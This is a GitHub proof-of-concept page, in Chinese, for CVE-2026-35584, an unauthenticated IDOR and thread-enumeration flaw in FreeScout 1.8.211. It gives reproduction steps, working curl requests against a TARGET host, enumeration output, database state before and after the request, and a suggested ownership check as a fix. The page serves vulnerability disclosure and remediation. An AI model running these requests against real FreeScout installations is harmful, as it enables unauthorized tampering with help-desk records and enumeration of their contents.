LeonardoNovais7/CVE-2026-35584

GitHub: LeonardoNovais7/CVE-2026-35584

该项目提供了一个 CVE-2026-35584 的 POC,用于验证 FreeScout 中无需身份验证的 IDOR 与线程枚举漏洞。

Stars: 0 | Forks: 0

# CVE-2026-35584 POC - CVE-2026-35584 FreeScout # 描述 ## 概要 端点 GET /thread/read/{conversation_id}/{thread_id} 不需要身份验证,也不会验证给定的 thread_id 是否属于给定的 conversation_id。这允许任何未经身份验证的攻击者: 通过传递任意 ID 将任意线程标记为已读 通过 HTTP 响应码(200 与 404)枚举有效的线程 ID 跨会话操纵 opened_at 时间戳(IDOR) ``` Affected Version 1.8.211 (latest) ``` ## 复现步骤 创建两个会话(conv_id=1 和 conv_id=2) 在会话 2 中创建一个线程(thread_id=3) 无需任何身份验证,发送:GET /thread/read/1/3 在数据库中验证 — thread_id=3 的 opened_at 现在已被设置,尽管是通过错误的 conversation_id 访问的 ## 漏洞利用(PoC) ``` curl -v "http://TARGET/thread/read/1/3" ``` 返回 HTTP 200 并在 thread 3 上设置 opened_at ## 影响 无需身份验证 IDOR:thread_id 未针对 conversation_id 进行验证 线程枚举:HTTP 200 = 有效线程,404 = 无效 用于支持代理的已读/未读指标被操纵 破坏会话隔离模型 ## 建议修复 ``` if ($thread->conversation_id !== (int)$conversation_id) { abort(403); } ``` ## 漏洞利用输出 线程枚举(无需身份验证) ``` curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (valid thread) ``` ``` curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (valid thread) ``` ``` curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - thread belongs to conversation 2) ``` ``` curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (invalid thread) ``` ## 漏洞利用后的数据库状态 之前: | id | conversation_id | opened_at | | 3 | 2 | NULL | 执行 GET /thread/read/1/3(无需身份验证)后: | id | conversation_id | opened_at | | 3 | 2 | 2026-04-03 23:19:46 |
标签:API安全, CVE-2026-35584, FreeScout, GET接口, IDOR, JSON输出, PoC, 会话隔离, 安全, 数据库状态, 时间戳操纵, 暴力破解, 未授权访问, 枚举攻击, 漏洞, 线程管理, 认证绕过, 超时处理